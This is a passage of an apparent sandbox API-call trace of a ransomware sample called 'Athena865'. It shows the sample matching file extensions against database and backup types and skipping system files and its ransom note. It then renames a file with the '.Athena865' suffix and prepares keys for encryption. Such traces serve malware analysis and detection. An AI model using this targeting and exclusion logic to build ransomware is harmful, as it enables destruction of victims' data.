(lpString="mdf") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="mdf") returned -1 [0152.079] lstrlenW (lpString="mdb") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="mdb") returned -1 [0152.079] lstrlenW (lpString="sql") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="sql") returned -1 [0152.079] lstrlenW (lpString="sqlite") returned 6 [0152.079] lstrcmpiW (lpString1="IN.FAE", lpString2="sqlite") returned -1 [0152.079] lstrlenW (lpString="sqlite3") returned 7 [0152.079] lstrcmpiW (lpString1="WIN.FAE", lpString2="sqlite3") returned 1 [0152.079] lstrlenW (lpString="sqlitedb") returned 8 [0152.079] lstrcmpiW (lpString1="MWIN.FAE", lpString2="sqlitedb") returned -1 [0152.079] lstrlenW (lpString="xml") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="xml") returned -1 [0152.079] lstrlenW (lpString="$er") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="$er") returned 1 [0152.079] lstrlenW (lpString="4dd") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="4dd") returned 1 [0152.079] lstrlenW (lpString="4dl") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="4dl") returned 1 [0152.079] lstrlenW (lpString="^^^") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="^^^") returned 1 [0152.079] lstrlenW (lpString="abs") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="abs") returned 1 [0152.079] lstrlenW (lpString="abx") returned 3 [0152.079] lstrcmpiW (lpString1="FAE", lpString2="abx") returned 1 [0152.079] lstrlenW (lpString="accdb") returned 5 [0152.079] lstrcmpiW (lpString1="N.FAE", lpString2="accdb") returned 1 [0152.080] lstrlenW (lpString="accdc") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accdc") returned 1 [0152.080] lstrlenW (lpString="accde") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accde") returned 1 [0152.080] lstrlenW (lpString="accdr") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accdr") returned 1 [0152.080] lstrlenW (lpString="accdt") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accdt") returned 1 [0152.080] lstrlenW (lpString="accdw") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accdw") returned 1 [0152.080] lstrlenW (lpString="accft") returned 5 [0152.080] lstrcmpiW (lpString1="N.FAE", lpString2="accft") returned 1 [0152.080] lstrlenW (lpString="adb") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="adb") returned 1 [0152.080] lstrlenW (lpString="adb") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="adb") returned 1 [0152.080] lstrlenW (lpString="ade") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="ade") returned 1 [0152.080] lstrlenW (lpString="adf") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="adf") returned 1 [0152.080] lstrlenW (lpString="adn") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="adn") returned 1 [0152.080] lstrlenW (lpString="adp") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="adp") returned 1 [0152.080] lstrlenW (lpString="alf") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="alf") returned 1 [0152.080] lstrlenW (lpString="ask") returned 3 [0152.080] lstrcmpiW (lpString1="FAE", lpString2="ask") returned 1 [0152.080] lstrlenW (lpString="btr") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="btr") returned 1 [0152.081] lstrlenW (lpString="cat") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="cat") returned 1 [0152.081] lstrlenW (lpString="cdb") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="cdb") returned 1 [0152.081] lstrlenW (lpString="ckp") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="ckp") returned 1 [0152.081] lstrlenW (lpString="cma") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="cma") returned 1 [0152.081] lstrlenW (lpString="cpd") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="cpd") returned 1 [0152.081] lstrlenW (lpString="dacpac") returned 6 [0152.081] lstrcmpiW (lpString1="IN.FAE", lpString2="dacpac") returned 1 [0152.081] lstrlenW (lpString="dad") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="dad") returned 1 [0152.081] lstrlenW (lpString="dadiagrams") returned 10 [0152.081] lstrcmpiW (lpString1="LIMWIN.FAE", lpString2="dadiagrams") returned 1 [0152.081] lstrlenW (lpString="daschema") returned 8 [0152.081] lstrcmpiW (lpString1="MWIN.FAE", lpString2="daschema") returned 1 [0152.081] lstrlenW (lpString="db-journal") returned 10 [0152.081] lstrcmpiW (lpString1="LIMWIN.FAE", lpString2="db-journal") returned 1 [0152.081] lstrlenW (lpString="db-shm") returned 6 [0152.081] lstrcmpiW (lpString1="IN.FAE", lpString2="db-shm") returned 1 [0152.081] lstrlenW (lpString="db-wal") returned 6 [0152.081] lstrcmpiW (lpString1="IN.FAE", lpString2="db-wal") returned 1 [0152.081] lstrlenW (lpString="dbc") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="dbc") returned 1 [0152.081] lstrlenW (lpString="dbs") returned 3 [0152.081] lstrcmpiW (lpString1="FAE", lpString2="dbs") returned 1 [0152.081] lstrlenW (lpString="dbt") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dbt") returned 1 [0152.082] lstrlenW (lpString="dbv") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dbv") returned 1 [0152.082] lstrlenW (lpString="dbx") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dbx") returned 1 [0152.082] lstrlenW (lpString="dcb") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dcb") returned 1 [0152.082] lstrlenW (lpString="dct") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dct") returned 1 [0152.082] lstrlenW (lpString="dcx") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dcx") returned 1 [0152.082] lstrlenW (lpString="ddl") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="ddl") returned 1 [0152.082] lstrlenW (lpString="dlis") returned 4 [0152.082] lstrcmpiW (lpString1=".FAE", lpString2="dlis") returned -1 [0152.082] lstrlenW (lpString="dp1") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dp1") returned 1 [0152.082] lstrlenW (lpString="dqy") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dqy") returned 1 [0152.082] lstrlenW (lpString="dsk") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dsk") returned 1 [0152.082] lstrlenW (lpString="dsn") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dsn") returned 1 [0152.082] lstrlenW (lpString="dtsx") returned 4 [0152.082] lstrcmpiW (lpString1=".FAE", lpString2="dtsx") returned -1 [0152.082] lstrlenW (lpString="dxl") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="dxl") returned 1 [0152.082] lstrlenW (lpString="eco") returned 3 [0152.082] lstrcmpiW (lpString1="FAE", lpString2="eco") returned 1 [0152.083] lstrlenW (lpString="ecx") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="ecx") returned 1 [0152.083] lstrlenW (lpString="edb") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="edb") returned 1 [0152.083] lstrlenW (lpString="epim") returned 4 [0152.083] lstrcmpiW (lpString1=".FAE", lpString2="epim") returned -1 [0152.083] lstrlenW (lpString="fcd") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fcd") returned -1 [0152.083] lstrlenW (lpString="fdb") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fdb") returned -1 [0152.083] lstrlenW (lpString="fic") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fic") returned -1 [0152.083] lstrlenW (lpString="flexolibrary") returned 12 [0152.083] lstrlenW (lpString="fm5") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fm5") returned -1 [0152.083] lstrlenW (lpString="fmp") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fmp") returned -1 [0152.083] lstrlenW (lpString="fmp12") returned 5 [0152.083] lstrcmpiW (lpString1="N.FAE", lpString2="fmp12") returned 1 [0152.083] lstrlenW (lpString="fmpsl") returned 5 [0152.083] lstrcmpiW (lpString1="N.FAE", lpString2="fmpsl") returned 1 [0152.083] lstrlenW (lpString="fol") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fol") returned -1 [0152.083] lstrlenW (lpString="fp3") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fp3") returned -1 [0152.083] lstrlenW (lpString="fp4") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fp4") returned -1 [0152.083] lstrlenW (lpString="fp5") returned 3 [0152.083] lstrcmpiW (lpString1="FAE", lpString2="fp5") returned -1 [0152.084] lstrlenW (lpString="fp7") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="fp7") returned -1 [0152.084] lstrlenW (lpString="fpt") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="fpt") returned -1 [0152.084] lstrlenW (lpString="frm") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="frm") returned -1 [0152.084] lstrlenW (lpString="gdb") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="gdb") returned -1 [0152.084] lstrlenW (lpString="gdb") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="gdb") returned -1 [0152.084] lstrlenW (lpString="grdb") returned 4 [0152.084] lstrcmpiW (lpString1=".FAE", lpString2="grdb") returned -1 [0152.084] lstrlenW (lpString="gwi") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="gwi") returned -1 [0152.084] lstrlenW (lpString="hdb") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="hdb") returned -1 [0152.084] lstrlenW (lpString="his") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="his") returned -1 [0152.084] lstrlenW (lpString="ib") returned 2 [0152.084] lstrcmpiW (lpString1="AE", lpString2="ib") returned -1 [0152.084] lstrlenW (lpString="idb") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="idb") returned -1 [0152.084] lstrlenW (lpString="ihx") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="ihx") returned -1 [0152.084] lstrlenW (lpString="itdb") returned 4 [0152.084] lstrcmpiW (lpString1=".FAE", lpString2="itdb") returned -1 [0152.084] lstrlenW (lpString="itw") returned 3 [0152.084] lstrcmpiW (lpString1="FAE", lpString2="itw") returned -1 [0152.084] lstrlenW (lpString="jet") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="jet") returned -1 [0152.085] lstrlenW (lpString="jtx") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="jtx") returned -1 [0152.085] lstrlenW (lpString="kdb") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="kdb") returned -1 [0152.085] lstrlenW (lpString="kexi") returned 4 [0152.085] lstrcmpiW (lpString1=".FAE", lpString2="kexi") returned -1 [0152.085] lstrlenW (lpString="kexic") returned 5 [0152.085] lstrcmpiW (lpString1="N.FAE", lpString2="kexic") returned 1 [0152.085] lstrlenW (lpString="kexis") returned 5 [0152.085] lstrcmpiW (lpString1="N.FAE", lpString2="kexis") returned 1 [0152.085] lstrlenW (lpString="lgc") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="lgc") returned -1 [0152.085] lstrlenW (lpString="lwx") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="lwx") returned -1 [0152.085] lstrlenW (lpString="maf") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="maf") returned -1 [0152.085] lstrlenW (lpString="maq") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="maq") returned -1 [0152.085] lstrlenW (lpString="mar") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="mar") returned -1 [0152.085] lstrlenW (lpString="marshal") returned 7 [0152.085] lstrcmpiW (lpString1="WIN.FAE", lpString2="marshal") returned 1 [0152.085] lstrlenW (lpString="mas") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="mas") returned -1 [0152.085] lstrlenW (lpString="mav") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="mav") returned -1 [0152.085] lstrlenW (lpString="maw") returned 3 [0152.085] lstrcmpiW (lpString1="FAE", lpString2="maw") returned -1 [0152.085] lstrlenW (lpString="mdbhtml") returned 7 [0152.086] lstrcmpiW (lpString1="WIN.FAE", lpString2="mdbhtml") returned 1 [0152.086] lstrlenW (lpString="mdn") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mdn") returned -1 [0152.086] lstrlenW (lpString="mdt") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mdt") returned -1 [0152.086] lstrlenW (lpString="mfd") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mfd") returned -1 [0152.086] lstrlenW (lpString="mpd") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mpd") returned -1 [0152.086] lstrlenW (lpString="mrg") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mrg") returned -1 [0152.086] lstrlenW (lpString="mud") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mud") returned -1 [0152.086] lstrlenW (lpString="mwb") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="mwb") returned -1 [0152.086] lstrlenW (lpString="myd") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="myd") returned -1 [0152.086] lstrlenW (lpString="ndf") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="ndf") returned -1 [0152.086] lstrlenW (lpString="nnt") returned 3 [0152.086] lstrcmpiW (lpString1="FAE", lpString2="nnt") returned -1 [0152.086] lstrlenW (lpString="nrmlib") returned 6 [0152.087] lstrcmpiW (lpString1="IN.FAE", lpString2="nrmlib") returned -1 [0152.087] lstrlenW (lpString="ns2") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="ns2") returned -1 [0152.087] lstrlenW (lpString="ns3") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="ns3") returned -1 [0152.087] lstrlenW (lpString="ns4") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="ns4") returned -1 [0152.087] lstrlenW (lpString="nsf") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="nsf") returned -1 [0152.087] lstrlenW (lpString="nv") returned 2 [0152.087] lstrcmpiW (lpString1="AE", lpString2="nv") returned -1 [0152.087] lstrlenW (lpString="nv2") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="nv2") returned -1 [0152.087] lstrlenW (lpString="nwdb") returned 4 [0152.087] lstrcmpiW (lpString1=".FAE", lpString2="nwdb") returned -1 [0152.087] lstrlenW (lpString="nyf") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="nyf") returned -1 [0152.087] lstrlenW (lpString="odb") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="odb") returned -1 [0152.087] lstrlenW (lpString="odb") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="odb") returned -1 [0152.087] lstrlenW (lpString="oqy") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="oqy") returned -1 [0152.087] lstrlenW (lpString="ora") returned 3 [0152.087] lstrcmpiW (lpString1="FAE", lpString2="ora") returned -1 [0152.088] lstrlenW (lpString="orx") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="orx") returned -1 [0152.088] lstrlenW (lpString="owc") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="owc") returned -1 [0152.088] lstrlenW (lpString="p96") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="p96") returned -1 [0152.088] lstrlenW (lpString="p97") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="p97") returned -1 [0152.088] lstrlenW (lpString="pan") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="pan") returned -1 [0152.088] lstrlenW (lpString="pdb") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="pdb") returned -1 [0152.088] lstrlenW (lpString="pdm") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="pdm") returned -1 [0152.088] lstrlenW (lpString="pnz") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="pnz") returned -1 [0152.088] lstrlenW (lpString="qry") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="qry") returned -1 [0152.088] lstrlenW (lpString="qvd") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="qvd") returned -1 [0152.088] lstrlenW (lpString="rbf") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="rbf") returned -1 [0152.088] lstrlenW (lpString="rctd") returned 4 [0152.088] lstrcmpiW (lpString1=".FAE", lpString2="rctd") returned -1 [0152.088] lstrlenW (lpString="rod") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="rod") returned -1 [0152.088] lstrlenW (lpString="rodx") returned 4 [0152.088] lstrcmpiW (lpString1=".FAE", lpString2="rodx") returned -1 [0152.088] lstrlenW (lpString="rpd") returned 3 [0152.088] lstrcmpiW (lpString1="FAE", lpString2="rpd") returned -1 [0152.089] lstrlenW (lpString="rsd") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="rsd") returned -1 [0152.089] lstrlenW (lpString="sas7bdat") returned 8 [0152.089] lstrcmpiW (lpString1="MWIN.FAE", lpString2="sas7bdat") returned -1 [0152.089] lstrlenW (lpString="sbf") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="sbf") returned -1 [0152.089] lstrlenW (lpString="scx") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="scx") returned -1 [0152.089] lstrlenW (lpString="sdb") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="sdb") returned -1 [0152.089] lstrlenW (lpString="sdc") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="sdc") returned -1 [0152.089] lstrlenW (lpString="sdf") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="sdf") returned -1 [0152.089] lstrlenW (lpString="sis") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="sis") returned -1 [0152.089] lstrlenW (lpString="spq") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="spq") returned -1 [0152.089] lstrlenW (lpString="te") returned 2 [0152.089] lstrcmpiW (lpString1="AE", lpString2="te") returned -1 [0152.089] lstrlenW (lpString="teacher") returned 7 [0152.089] lstrcmpiW (lpString1="WIN.FAE", lpString2="teacher") returned 1 [0152.089] lstrlenW (lpString="tmd") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="tmd") returned -1 [0152.089] lstrlenW (lpString="tps") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="tps") returned -1 [0152.089] lstrlenW (lpString="trc") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="trc") returned -1 [0152.089] lstrlenW (lpString="trc") returned 3 [0152.089] lstrcmpiW (lpString1="FAE", lpString2="trc") returned -1 [0152.090] lstrlenW (lpString="trm") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="trm") returned -1 [0152.090] lstrlenW (lpString="udb") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="udb") returned -1 [0152.090] lstrlenW (lpString="udl") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="udl") returned -1 [0152.090] lstrlenW (lpString="usr") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="usr") returned -1 [0152.090] lstrlenW (lpString="v12") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="v12") returned -1 [0152.090] lstrlenW (lpString="vis") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="vis") returned -1 [0152.090] lstrlenW (lpString="vpd") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="vpd") returned -1 [0152.090] lstrlenW (lpString="vvv") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="vvv") returned -1 [0152.090] lstrlenW (lpString="wdb") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="wdb") returned -1 [0152.090] lstrlenW (lpString="wmdb") returned 4 [0152.090] lstrcmpiW (lpString1=".FAE", lpString2="wmdb") returned -1 [0152.090] lstrlenW (lpString="wrk") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="wrk") returned -1 [0152.090] lstrlenW (lpString="xdb") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="xdb") returned -1 [0152.090] lstrlenW (lpString="xld") returned 3 [0152.090] lstrcmpiW (lpString1="FAE", lpString2="xld") returned -1 [0152.090] lstrlenW (lpString="xmlff") returned 5 [0152.090] lstrcmpiW (lpString1="N.FAE", lpString2="xmlff") returned -1 [0152.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.Athena865") returned 73 [0152.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.athena865"), dwFlags=0x1) returned 1 [0152.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.093] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31136) returned 1 [0152.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.094] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.094] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.095] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ca0, lpName=0x0) returned 0x154 [0152.096] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ca0) returned 0x100000 [0152.098] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.099] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.099] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.100] CloseHandle (hObject=0x154) returned 1 [0152.100] CloseHandle (hObject=0x17c) returned 1 [0152.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.100] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2=".") returned 1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="..") returned 1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="windows") returned -1 [0152.100] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="bootmgr") returned 1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="temp") returned -1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="pagefile.sys") returned -1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="boot") returned 1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="ids.txt") returned -1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="ntuser.dat") returned -1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="perflogs") returned -1 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2="MSBuild") returned -1 [0152.101] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0152.101] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DESKSAM.SAM" | out: lpString1="DESKSAM.SAM") returned="DESKSAM.SAM" [0152.101] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0152.101] lstrlenW (lpString="Athena865") returned 9 [0152.101] lstrcmpiW (lpString1="SKSAM.SAM", lpString2="Athena865") returned 1 [0152.101] lstrlenW (lpString=".dll") returned 4 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2=".dll") returned 1 [0152.101] lstrlenW (lpString=".lnk") returned 4 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2=".lnk") returned 1 [0152.101] lstrlenW (lpString=".ini") returned 4 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2=".ini") returned 1 [0152.101] lstrlenW (lpString=".sys") returned 4 [0152.101] lstrcmpiW (lpString1="DESKSAM.SAM", lpString2=".sys") returned 1 [0152.101] lstrlenW (lpString="DESKSAM.SAM") returned 11 [0152.101] lstrlenW (lpString="bak") returned 3 [0152.101] lstrcmpiW (lpString1="SAM", lpString2="bak") returned 1 [0152.101] lstrlenW (lpString="ba_") returned 3 [0152.101] lstrcmpiW (lpString1="SAM", lpString2="ba_") returned 1 [0152.101] lstrlenW (lpString="dbb") returned 3 [0152.101] lstrcmpiW (lpString1="SAM", lpString2="dbb") returned 1 [0152.101] lstrlenW (lpString="vmdk") returned 4 [0152.102] lstrcmpiW (lpString1=".SAM", lpString2="vmdk") returned -1 [0152.102] lstrlenW (lpString="rar") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="rar") returned 1 [0152.102] lstrlenW (lpString="zip") returned 3 [0152.102] lstrcmpiW (lpString1="SAM", lpString2="zip") returned -1 [0152.102] 